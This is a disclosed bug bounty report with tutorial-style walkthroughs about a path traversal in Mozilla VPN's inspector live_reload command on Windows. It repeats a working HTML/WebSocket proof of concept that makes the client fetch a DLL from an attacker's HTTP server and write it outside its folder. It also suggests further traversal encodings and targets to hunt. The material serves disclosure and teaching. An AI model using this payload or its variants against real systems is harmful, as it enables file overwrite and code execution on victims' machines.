Mozilla VPN Clients: RCE via file write and path traversal
The inspector's live_reload command builds a temporary file path by joining a fixed folder with the remote file's name without sanitising it, so a crafted name containing parent-directory sequences escapes the intended folder. An attacker who gets a user in developer mode with staging servers enabled to open a malicious page can overwrite arbitrary files on Windows, which the report says can lead to code execution.
- Triaged in 4 days
- Fixed in 3 months
- Paid in 19 days
- Disclosed after 5 months
Summary by the program
The report identifies a path traversal vulnerability in Mozilla VPN's client software that leads to Remote Code Execution (RCE). The vulnerability exists in the "live_reload" command of the client's inspector feature, which can be accessed when the client is in developer mode with "Use Staging Servers" enabled. The vulnerable code in the InspectorHotreloader::fetchAndAnnounce() function fails to properly sanitize file paths when downloading remote files to a temporary folder, allowing path traversal via the ".." sequence in Windows file paths. This enables an attacker to write arbitrary files to any location on the filesystem, which can be leveraged to achieve code execution.
The report
Summary:
Hi! I decided to have another look at the Mozilla VPN Client, after #2920675 was set to resolved. When going over all commands in the inspector, I noticed the "live_reload" command can be used with remote files. When using this command, the remote file is downloaded to a tmp folder. The problem is that there is a path traversal here, meaning we can override any file on the filesystem (tested on Windows).
Vulnerable code (InspectorHotreloader::fetchAndAnnounce() https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp):
QObject::connect(
request, &NetworkRequest::requestCompleted,
[this, path, dummy_task](const QByteArray& data) {
dummy_task->deleteLater();
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);
if (!temp_file->write(data)) {
logger.warning() << "Unable to write to file:"
<< temp_file->fileName();
return;
}
if (!temp_file->flush()) {
logger.warning() << "Unable to flush to file:"
<< temp_file->fileName();
return;
}
temp_file->close();
QFileInfo info(temp_path);
annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
});
You can see in the above snippet, that the temp_path is simply a concatenation of a set directory and our filename.
Steps To Reproduce:
- Download Mozilla VPN here: https://www.mozilla.org/en-US/products/vpn/download/
- Turn on developer mode (see video PoC below):
- Open the help menu
- Click the "Help" title 6 times rapidly
- In the developer options, check "Use Staging Servers"
- Fully close and reopen
- Save the following HTML and open it (change to your attacker_server)
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // needs to be HTTP, no HTTPS
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
- Notice the file was written to C:\Users\user\AppData\Local\Mozilla instead of C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload.
Supporting Material/References:
█████
Happy to help if anything is unclear!
Impact
Any file can be overridden leading to RCE. This is exploitable via limited user interaction (simply opening the attacker site) when the staging servers are being used. ==Note that this does not work on macOS.== The impact is the same as in #2920675.
Context
Mozilla VPN ships a desktop client that includes an inspector feature, a debugging aid used during development. One of the commands the inspector exposes is live_reload, which lets a developer point the client at a remote file so it can be downloaded into a temporary folder and reloaded into the running QML interface. The download and write are handled by InspectorHotreloader::fetchAndAnnounce() in src/inspector/inspectorhotreloader.cpp.
The report describes a path traversal in that function: the remote file's name is concatenated onto a fixed temporary directory without sanitisation, so a crafted name can escape the folder and overwrite arbitrary files. On Windows this leads to remote code execution. The researcher had previously reported a related issue, #2920675, which had been marked resolved, and returned to look at the inspector again afterwards.
Setup
The preconditions are narrow and worth stating plainly:
- The Mozilla VPN client must be installed (the report links to the official download page).
- Developer mode must be enabled.
- The developer option Use Staging Servers must be checked.
- The client must be fully closed and reopened after enabling that option.
- The attack is delivered by getting the user to open an attacker-controlled HTML page while the client is running.
The researcher tested on Windows. The report explicitly notes that the technique does not work on macOS.
Finding it
After the earlier report was resolved, the researcher went back over every command exposed by the inspector. The live_reload command stood out because it accepts remote files: the client downloads the file named in the command into a temporary folder. Reading the handler, the researcher saw that the destination path is built by simple string concatenation of a fixed directory and the file name taken from the remote path, with no check that the result stays inside that directory. That is the shape of a path traversal, and on Windows the .. sequence in a file path is enough to walk out of the folder.
Exploitation
Step 1: enable developer mode
With the client installed, open the help menu and click the Help title six times rapidly. This reveals the developer options. Check Use Staging Servers, then fully close and reopen the client so the setting takes effect.
Step 2: serve the payload page
The researcher saves the following HTML, replacing the attacker server placeholder with their own host, and opens it in a browser on the same machine as the client:
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // needs to be HTTP, no HTTPS
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
The page opens a WebSocket to ws://localhost:8765/ and on connect sends a single live_reload command. The argument is the attacker's HTTP server followed by a file name containing ..\\..\\, which on Windows resolves as a traversal out of the temporary folder. The comment in the payload records a constraint: the attacker server must be plain HTTP, not HTTPS. The page appends any messages it receives into the data div.
Step 3: observe where the file lands
The client downloads the remote file and writes it using the traversed path. Instead of landing in the hot reload folder, the file is written to C:\Users\user\AppData\Local\Mozilla, one level above the intended directory C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload. The proof-of-concept file is named traversal_poc.dll, showing that a DLL can be written outside the intended folder.
Root cause
The vulnerable code is in InspectorHotreloader::fetchAndAnnounce():
QObject::connect(
request, &NetworkRequest::requestCompleted,
[this, path, dummy_task](const QByteArray& data) {
dummy_task->deleteLater();
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);
if (!temp_file->write(data)) {
logger.warning() << "Unable to write to file:"
<< temp_file->fileName();
return;
}
if (!temp_file->flush()) {
logger.warning() << "Unable to flush to file:"
<< temp_file->fileName();
return;
}
temp_file->close();
QFileInfo info(temp_path);
annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
});
The destination is built as QString("%1/%2").arg(m_qml_folder, path.fileName()): the fixed QML folder and the file name from the remote path are joined by string formatting. Nothing canonicalises the result or verifies that it remains under m_qml_folder before the file is opened for writing. On Windows, path.fileName() can carry .. segments that the filesystem resolves when the file is opened, so the write escapes the temporary directory.
Impact
Because any file on the filesystem can be overwritten, the researcher classifies the issue as leading to remote code execution, with the same impact as the earlier report #2920675. Exploitation requires only limited user interaction: the victim opens the attacker's page while the client is running. The precondition is that staging servers are in use, which is why developer mode and the Use Staging Servers option are part of the setup. The technique does not work on macOS.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other inspector commands that take a remote path. Any command that downloads a file and derives a local name from it is a candidate. A positive result is a file appearing outside the intended temporary folder.
- Different traversal encodings. Try
..\\, mixed separators and URL-encoded forms in the file name. A positive result is the same escape from the temporary directory with a name that the naive concatenation does not obviously reveal. - Other platforms. The report says macOS is not affected, but the same concatenation pattern may behave differently on other operating systems. A positive result is a write outside the target folder on a platform the original did not cover.
- Other local WebSocket listeners in desktop clients. The delivery mechanism here is a page talking to
ws://localhost:8765/. Any desktop application exposing a local socket that accepts file paths is worth the same review. A positive result is a command from a web page causing a file write at an attacker-chosen path.
Hunting notes
This bug sits in developer and debugging features: an inspector command that fetches remote content and writes it locally. Such code is often written for convenience during development and assumes trusted input, so path construction by string concatenation is a strong signal. During recon, look for local listeners (WebSocket or HTTP on localhost) in desktop clients, and for features gated behind developer mode or staging server options, since those are less exercised and less reviewed. The researcher demonstrated impact by showing the file landing at a concrete path outside the intended folder and by naming the payload as a DLL, which makes the code execution path clear. The report also ties the impact back to the earlier report #2920675 on the same component.
What happened, in plain words
Mozilla VPN is a desktop program that creates a private, encrypted connection between your computer and the internet. Like many desktop programs, it has a hidden area meant for its own developers: a set of extra commands called the inspector. One of those commands, live_reload, lets a developer tell the program to download a file from a server and drop it into a temporary folder so the program can reload it.
The researcher found that the program builds the destination path for that downloaded file by simply gluing together a fixed folder name and the file name taken from the remote address. If the file name contains the special sequence .., which in file paths means "go up one folder", the glued path points outside the temporary folder. On Windows, this lets an attacker write a file outside the temporary folder, including a DLL (a Windows library file that programs load and run). Writing a DLL to the right place can lead to remote code execution, meaning the attacker's code runs on the victim's machine.
The attack needs the victim to open a malicious web page while the VPN client is running, and it only works when the client is in developer mode with the Use Staging Servers option turned on. The researcher tested it on Windows and notes that it does not work on macOS.
The setup you need
Before any of this can happen, several conditions must be true. They are narrow, and that matters for judging how serious the bug is in practice.
- The Mozilla VPN client must be installed. The report links to the official download page.
- Developer mode must be turned on. This is a hidden mode that reveals extra options.
- The developer option Use Staging Servers must be checked. Staging servers are test servers used before a release, not the normal production servers.
- The client must be fully closed and reopened after changing that option, so the new setting is loaded.
- The victim must open a web page controlled by the attacker while the client is running.
The researcher tested on Windows. The report explicitly says the technique does not work on macOS.
How the researcher found it
This was not the researcher's first look at the client. They had previously reported a related issue, #2920675, which had been marked resolved. After that, they went back over every command the inspector exposes.
The live_reload command stood out because it accepts a remote file: the client downloads whatever file the command names into a temporary folder. When the researcher read the code that handles the download, they saw that the destination path is built by simple string concatenation: a fixed folder plus the file name from the remote path. There is no check that the result stays inside that folder. That is the classic shape of a path traversal: input that is supposed to be a name is allowed to contain path syntax, so it can point somewhere else. On Windows, the .. sequence in a file path is enough to walk out of a folder.
Exploitation, step by step
Step 1: turn on developer mode
With the client installed, open the help menu and click the Help title six times rapidly. This reveals the developer options. Check Use Staging Servers, then fully close and reopen the client so the setting takes effect.
Step 2: serve the payload page
The researcher saves the following HTML, replacing the attacker server placeholder with their own host, and opens it in a browser on the same machine as the client:
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // needs to be HTTP, no HTTPS
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
Line by line, in plain words:
var ws = new WebSocket('ws://localhost:8765/');opens a WebSocket connection to the local machine on port 8765. A WebSocket is a two-way conversation channel between a web page and a server; here the "server" is whatever is listening on the local machine at port 8765.var attacker_server = "███████" // needs to be HTTP, no HTTPSis a placeholder for the attacker's own web server address. The comment records a constraint: the server must be plain HTTP, not HTTPS.payload = \live_reload ${attacker_server}/..\..\traversal_poc.dll`builds the command string. It starts with the inspector command namelive_reload, then the attacker's server address, then a file name containing..\..\. In a Windows path,..means "parent folder", so this file name is designed to climb out of the temporary folder. The file is namedtraversal_poc.dll`, a DLL.ws.onopen = function() { ws.send(payload); };says: as soon as the WebSocket connection opens, send the command string. This sends the command string as soon as the connection opens.ws.onmessage = function(event) { document.getElementById("data").innerText += event.data + "\n"; };says: whenever the inspector sends something back, append it to the page inside thedataelement. This is only for the researcher to see the replies.- The
<h1>and<div>are just page furniture to display those replies.
Why this step matters: the browser is the delivery vehicle. The victim only has to open a page; the page then talks to a service running on the victim's own computer. This is why the attack needs only limited user interaction.
Step 3: see where the file lands
The client downloads the remote file and writes it using the traversed path. Instead of landing in the hot reload folder, the file is written to C:\Users\user\AppData\Local\Mozilla, one level above the intended directory C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload. The proof-of-concept file is named traversal_poc.dll, showing that a DLL can be written outside the intended folder. That is the evidence of impact: the file escaped the folder it was supposed to be confined to.
The vulnerable code
The root cause is in InspectorHotreloader::fetchAndAnnounce():
QObject::connect(
request, &NetworkRequest::requestCompleted,
[this, path, dummy_task](const QByteArray& data) {
dummy_task->deleteLater();
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);
if (!temp_file->write(data)) {
logger.warning() << "Unable to write to file:"
<< temp_file->fileName();
return;
}
if (!temp_file->flush()) {
logger.warning() << "Unable to flush to file:"
<< temp_file->fileName();
return;
}
temp_file->close();
QFileInfo info(temp_path);
annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
});
What each part does, in plain words:
QObject::connect(request, &NetworkRequest::requestCompleted, ...)sets up a callback: when the network request finishes downloading, run the code that follows. This is event-driven programming, like setting an alarm to go off when something happens.[this, path, dummy_task](const QByteArray& data) {is the callback itself. It receives the downloaded bytes indata.dummy_task->deleteLater();cleans up a task object after use.auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());is the heart of the bug. It builds the destination path by formatting a string: the fixed folderm_qml_folder, a slash, andpath.fileName(), the file name taken from the remote path. There is no check that the result stays insidem_qml_folder.auto temp_file = new QFile(temp_path);creates a file object for that path.temp_file->open(QIODevice::WriteOnly);opens it for writing. This is the moment the operating system resolves any..segments in the path.- The
if (!temp_file->write(data))block writes the downloaded bytes and logs a warning if the write fails. - The
if (!temp_file->flush())block flushes buffered data to disk and logs a warning on failure. temp_file->close();closes the file.QFileInfo info(temp_path);andannonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));turn the path into a local file URL and announce that the file was replaced, so the interface can reload it.
Nothing canonicalises the path (turns it into a clean, absolute form) or verifies that it remains under m_qml_folder before the file is opened. On Windows, path.fileName() can carry .. segments that the filesystem resolves when the file is opened, so the write escapes the temporary directory.
Impact
Because any file on the filesystem can be overwritten, the researcher classifies the issue as leading to remote code execution, with the same impact as the earlier report #2920675. Exploitation requires only limited user interaction: the victim opens the attacker's page while the client is running. The precondition is that staging servers are in use, which is why developer mode and the Use Staging Servers option are part of the setup. The technique does not work on macOS.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other inspector commands that take a remote path. Any command that downloads a file and derives a local name from it is a candidate. A positive result is a file appearing outside the intended temporary folder.
- Different traversal encodings. Try
..\\, mixed separators and URL-encoded forms in the file name. A positive result is the same escape from the temporary directory with a name that the naive concatenation does not obviously reveal. - Other platforms. The report says macOS is not affected, but the same concatenation pattern may behave differently on other operating systems. A positive result is a write outside the target folder on a platform the original did not cover.
- Other local WebSocket listeners in desktop clients. The delivery mechanism here is a page talking to
ws://localhost:8765/. Any desktop application exposing a local socket that accepts file paths is worth the same review. A positive result is a command from a web page causing a file write at an attacker-chosen path.
Hunting notes
This bug sits in developer and debugging features: an inspector command that fetches remote content and writes it locally. Such code is often written for convenience during development and assumes trusted input, so path construction by string concatenation is a strong signal. During recon, look for local listeners (WebSocket or HTTP on localhost) in desktop clients, and for features gated behind developer mode or staging server options, since those are less exercised and less reviewed. The researcher demonstrated impact by showing the file landing at a concrete path outside the intended folder and by naming the payload as a DLL, which makes the code execution path clear. The report also ties the impact back to the earlier report #2920675 on the same component.
Glossary
- Mozilla VPN: a desktop program that creates an encrypted, private connection between a computer and the internet.
- Inspector: a debugging feature inside the Mozilla VPN client that exposes extra commands for developers.
live_reload: an inspector command that downloads a remote file into a temporary folder and reloads it into the running interface.- QML: a user-interface language used by the client; the interface is built from QML files.
- Path traversal: a vulnerability where input meant to be a file name is allowed to contain path syntax such as
.., so it can point outside the intended folder. ..: in a file path, a special name meaning "the parent folder".- Remote code execution (RCE): a situation where an attacker can make their own code run on someone else's machine.
- DLL: a Windows library file that programs load and execute; writing one to the right place can lead to code execution.
- Developer mode: a hidden mode in the client that reveals extra options meant for developers.
- Staging servers: test servers used before a release, separate from the normal production servers.
- WebSocket: a two-way conversation channel between a web page and a server, which stays open after it is established.
localhost: the name a computer uses to refer to itself; a service listening on localhost is reachable only from that same machine.- Port: a numbered channel on a computer that a service listens on; here, 8765.
- HTTP / HTTPS: the protocol browsers use to fetch web pages; HTTPS is the encrypted version.
- HTML: the language web pages are written in.
- String concatenation: joining two pieces of text end to end to make one longer piece of text.
- Canonicalise: turn a path into a clean, absolute form with no
..or other shortcuts left in it. - Callback: code that is set up to run when a particular event happens, such as a download finishing.
- QFile / QFileInfo: Qt framework classes for working with files and file information.
- Qt: a software framework used to build desktop applications, including the Mozilla VPN client.